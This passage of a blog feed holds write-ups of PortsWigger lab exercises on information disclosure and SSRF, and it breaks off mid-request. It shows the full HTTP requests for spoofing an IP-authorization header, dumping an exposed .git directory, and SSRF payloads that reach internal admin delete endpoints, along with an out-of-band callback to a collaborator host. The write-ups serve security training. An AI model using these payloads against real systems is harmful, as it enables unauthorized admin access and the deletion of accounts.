&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251114170001.png&quot; alt=&quot;Pasted image 20251114170001.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>PortsWigger Information Disclosure Labs - November 2025</title><link>https://fuwari.vercel.app/posts/portswigger-information-disclosure/information-disclosure/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/portswigger-information-disclosure/information-disclosure/</guid><description>Writeup of Information Disclosure.</description><pubDate>Sun, 16 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Information disclosure - Sensitive Data Exposure&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111022923.png&quot; alt=&quot;Pasted image 20251111022923.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Information disclosure, also known as information leakage, is when a website unintentionally reveals sensitive information to its users.&lt;/li&gt;
&lt;li&gt;Depending on the context, websites may leak all kinds of information to a potential attacker, including:
&lt;ul&gt;
&lt;li&gt;Data about other users, such as usernames or financial information&lt;/li&gt;
&lt;li&gt;Sensitive commercial or business data&lt;/li&gt;
&lt;li&gt;Technical details about the website and its infrastructure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1 : Information disclosure in error message&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110221230.png&quot; alt=&quot;Pasted image 20251110221230.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110233537.png&quot; alt=&quot;Pasted image 20251110233537.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We just have to some how invoke error and it will reveal some error code along with some info,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://0a3e00cf03a03559804026700079003d.web-security-academy.net/product?productId=1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Make &lt;code&gt;productId=1&lt;/code&gt; to &lt;code&gt;productId=abc&lt;/code&gt; and we got version&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110233709.png&quot; alt=&quot;Pasted image 20251110233709.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Submit it and we solved the lab&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110233742.png&quot; alt=&quot;Pasted image 20251110233742.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 2 : Information disclosure on debug page&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110233826.png&quot; alt=&quot;Pasted image 20251110233826.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After accessing the index page we will see &lt;code&gt;source code&lt;/code&gt; using &lt;code&gt;view-source&lt;/code&gt; and what i find is that one interesting comment,&lt;/li&gt;
&lt;li&gt;It is a path of &lt;code&gt;PHPINFO&lt;/code&gt; page which has &lt;code&gt;SECRET&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- &amp;lt;a href=/cgi-bin/phpinfo.php&amp;gt;Debug&amp;lt;/a&amp;gt; --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234023.png&quot; alt=&quot;Pasted image 20251110234023.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234137.png&quot; alt=&quot;Pasted image 20251110234137.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By submitting this key, we solve the lab.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;wt30ohe9kx8idw7a8joy6f8er9yrzrqo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234217.png&quot; alt=&quot;Pasted image 20251110234217.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 3 : Source code disclosure via backup files&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234317.png&quot; alt=&quot;Pasted image 20251110234317.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After accessing lab we will try to access the &lt;code&gt;robots.txt&lt;/code&gt; and we find one entry,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234438.png&quot; alt=&quot;Pasted image 20251110234438.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In this directory we find another file which &lt;code&gt;backup java file&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Which have &lt;code&gt;database password&lt;/code&gt; indeed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234530.png&quot; alt=&quot;Pasted image 20251110234530.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
                &quot;org.postgresql.Driver&quot;,
                &quot;postgresql&quot;,
                &quot;localhost&quot;,
                5432,
                &quot;postgres&quot;,
                &quot;postgres&quot;,
                &quot;136c1aibxmmgd8lbzshi2pch3koui6u5&quot;
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format(&quot;SELECT * FROM products WHERE id = &apos;%s&apos; LIMIT 1&quot;, id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the Database Password, and by submitting this we solve the lab&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;136c1aibxmmgd8lbzshi2pch3koui6u5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234658.png&quot; alt=&quot;Pasted image 20251110234658.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 4 : Authentication bypass via information disclosure&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234728.png&quot; alt=&quot;Pasted image 20251110234728.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have to login using given creds,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wiener:peter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110234847.png&quot; alt=&quot;Pasted image 20251110234847.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now after this i tried to capture the &lt;code&gt;/admin&lt;/code&gt; req and i got unauthorized,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110235322.png&quot; alt=&quot;Pasted image 20251110235322.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;So i tried use &lt;code&gt;TRACE&lt;/code&gt; request (TRACE used for  diagnostic purposes and it often harmless, but occasionally leads to the disclosure of sensitive information)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Request&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;TRACE /admin HTTP/1.1
Host: 0a9e006e04ba1e238121433e003b0082.web-security-academy.net
Connection: keep-alive
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=bN36B0fXMd5ziHba3JN6YQGKGU7TcXfP
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Response&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: message/http
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 802

TRACE /admin HTTP/1.1
Host: 0a9e006e04ba1e238121433e003b0082.web-security-academy.net
Connection: close
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=bN36B0fXMd5ziHba3JN6YQGKGU7TcXfP
X-Custom-IP-Authorization: 14.139.110.137
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110235621.png&quot; alt=&quot;Pasted image 20251110235621.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is interesting header which leaks the information which tells that it is doing &lt;code&gt;IP Based Authentication&lt;/code&gt; for admin access which can be bypass.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;X-Custom-IP-Authorization: 14.139.110.137
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;We take this header and put it into our request and make the IP as &lt;code&gt;127.0.0.1&lt;/code&gt; which means it will allow this host,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;X-Custom-IP-Authorization: 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Whole GET Request with above header,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /admin HTTP/1.1
Host: 0a9e006e04ba1e238121433e003b0082.web-security-academy.net
Connection: keep-alive
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=bN36B0fXMd5ziHba3JN6YQGKGU7TcXfP
X-Custom-IP-Authorization: 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111000043.png&quot; alt=&quot;Pasted image 20251111000043.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We will just simple add this parameters to delete &lt;code&gt;carlos&lt;/code&gt; user to solve lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /admin/delete?username=carlos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111000215.png&quot; alt=&quot;Pasted image 20251111000215.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111000128.png&quot; alt=&quot;Pasted image 20251111000128.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 5 : Information disclosure in version control history&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111000314.png&quot; alt=&quot;Pasted image 20251111000314.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our aim is to gain password of &lt;code&gt;administrator&lt;/code&gt; and delete the &lt;code&gt;carlos&lt;/code&gt; user,&lt;/li&gt;
&lt;li&gt;So i find for some sensitive directories and found one which is &lt;code&gt;.git&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111020147.png&quot; alt=&quot;Pasted image 20251111020147.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I found some data inside config file,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111020258.png&quot; alt=&quot;Pasted image 20251111020258.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
	email = carlos@carlos-montoya.net
	name = Carlos Montoya
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;There is another commit file which looks sensitive &lt;code&gt;COMMIT_EDITMSG&lt;/code&gt; and it has this msg.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111020429.png&quot; alt=&quot;Pasted image 20251111020429.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To dump this whole &lt;code&gt;.git&lt;/code&gt; i used &lt;code&gt;git-dumper&lt;/code&gt; tool and dump it for better look,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111021301.png&quot; alt=&quot;Pasted image 20251111021301.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20251111021316.png&quot; alt=&quot;Pasted image 20251111021316.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we can see &lt;code&gt;git&lt;/code&gt; logs and previous &lt;code&gt;commits&lt;/code&gt; and &lt;code&gt;diff&lt;/code&gt;, and from there we found password of administrator,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111022246.png&quot; alt=&quot;Pasted image 20251111022246.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is &lt;code&gt;administrator:0ic26vp708alt77qexyz&lt;/code&gt; creds so we can log in with this and delete &lt;code&gt;carlos&lt;/code&gt; user,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111022434.png&quot; alt=&quot;Pasted image 20251111022434.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111022442.png&quot; alt=&quot;Pasted image 20251111022442.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111022457.png&quot; alt=&quot;Pasted image 20251111022457.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>PortsWigger Server Side Request Foregery (SSRF) Labs - November 2025</title><link>https://fuwari.vercel.app/posts/portswigger-server-side-request-forgery-ssrf/ssrf/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/portswigger-server-side-request-forgery-ssrf/ssrf/</guid><description>Writeup of SSRF.</description><pubDate>Sun, 16 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Server Side Request Forgery&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112022752.png&quot; alt=&quot;Pasted image 20251112022752.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.&lt;/li&gt;
&lt;li&gt;In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization&apos;s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems. This could leak sensitive data, such as authorization credentials.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Lab 1: Basic SSRF against the local server&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110091329.png&quot; alt=&quot;Pasted image 20251110091329.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After Accessing the labs we just have to view details page and check the stocks and capture that req,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110091544.png&quot; alt=&quot;Pasted image 20251110091544.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110091633.png&quot; alt=&quot;Pasted image 20251110091633.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can see that it is &lt;code&gt;/product/stock&lt;/code&gt; API with some parameters,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0aec00920488b14a831574bd00f400be.web-security-academy.net
Connection: keep-alive
Content-Length: 107
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0aec00920488b14a831574bd00f400be.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aec00920488b14a831574bd00f400be.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=prucCPckJHbFkihl7fKpuxwB6UD5jFJB

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now after URL Decoding the body parameters we can see that there is URL which is requesting some site so we can try localhost URL,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&amp;amp;storeId=1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;By Replacing with this, and url encode it (optional)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;stockApi=http://localhost/admin/delete?username=carlos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110092016.png&quot; alt=&quot;Pasted image 20251110092016.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It gives &lt;code&gt;302 found&lt;/code&gt; which means that it is successful and user &lt;code&gt;carlos&lt;/code&gt; is deleted.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110092128.png&quot; alt=&quot;Pasted image 20251110092128.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 2: Basic SSRF against another back-end system&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110092828.png&quot; alt=&quot;Pasted image 20251110092828.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After Accessing the labs we just have to view details page and check the stocks and capture that req,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110091544.png&quot; alt=&quot;Pasted image 20251110091544.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110091633.png&quot; alt=&quot;Pasted image 20251110091633.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0a64008904342da18004175b007f00ec.web-security-academy.net
Connection: keep-alive
Content-Length: 96
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/x-www-form-urlencoded
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a64008904342da18004175b007f00ec.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a64008904342da18004175b007f00ec.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=KPWArg1rlSYSP2gZWhS3QGG4w684zBT3

stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now in this lab we have to brute force thought IP range &lt;code&gt;192.168.0.X&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0a64008904342da18004175b007f00ec.web-security-academy.net
Connection: close
Content-Length: 40
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/x-www-form-urlencoded
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a64008904342da18004175b007f00ec.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a64008904342da18004175b007f00ec.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=KPWArg1rlSYSP2gZWhS3QGG4w684zBT3

stockApi=http://192.168.0.$X$:8080/admin/
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So we will add this to automate and start attack and we will filter by status code &lt;code&gt;200&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110094305.png&quot; alt=&quot;Pasted image 20251110094305.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110094343.png&quot; alt=&quot;Pasted image 20251110094343.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We get &lt;code&gt;200&lt;/code&gt; on this IP range, &lt;code&gt;192.168.0.150&lt;/code&gt; so now again we include delete API and send it and we solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/1.1
Host: 0a64008904342da18004175b007f00ec.web-security-academy.net
Connection: close
Content-Length: 40
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: application/x-www-form-urlencoded
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a64008904342da18004175b007f00ec.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a64008904342da18004175b007f00ec.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=KPWArg1rlSYSP2gZWhS3QGG4w684zBT3

stockApi=http://192.168.0.150:8080/admin/delete?username=carlos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110094506.png&quot; alt=&quot;Pasted image 20251110094506.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251110094021.png&quot; alt=&quot;Pasted image 20251110094021.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 3: Blind SSRF with out-of-band detection&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111234021.png&quot; alt=&quot;Pasted image 20251111234021.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We will intercept the &lt;code&gt;view product&lt;/code&gt; request,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111234313.png&quot; alt=&quot;Pasted image 20251111234313.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /product?productId=1 HTTP/2
Host: 0a2a00a50460650d80759acc00cd001c.web-security-academy.net
Cookie: session=7dFYQWS30mNOvYptqZVWYYr1kiQCl65N
Sec-Ch-Ua: &quot;Not_A Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;142&quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2a00a50460650d80759acc00cd001c.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we have to replace &lt;code&gt;refere header&lt;/code&gt; with our own http/dns server for call back and in this case we will use &lt;code&gt;burp collaborator&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;We will replace it with this,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https://fxg6y0ele5p7b5l70q06r7iu6lcc06ov.oastify.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111235616.png&quot; alt=&quot;Pasted image 20251111235616.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And after some min we got callback in out collaborator tab, and solved the lab&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111235645.png&quot; alt=&quot;Pasted image 20251111235645.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251111235713.png&quot; alt=&quot;Pasted image 20251111235713.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 4: SSRF with blacklist-based input filter&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251112000915.png&quot; alt=&quot;Pasted image 20251112000915.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab has a stock check feature which fetches data from an internal system so we fetch request of it and try something on it.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /product/stock HTTP/2
Host: 0aa9008404dfa5fa811ab1e600af0083.web-security-academy.net
Cookie: session=FroC7jn7kXGrwyTqqPosH42HNkuxDryA
Content-Length: 107
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Accept-Language: en-US,en;q=0.9
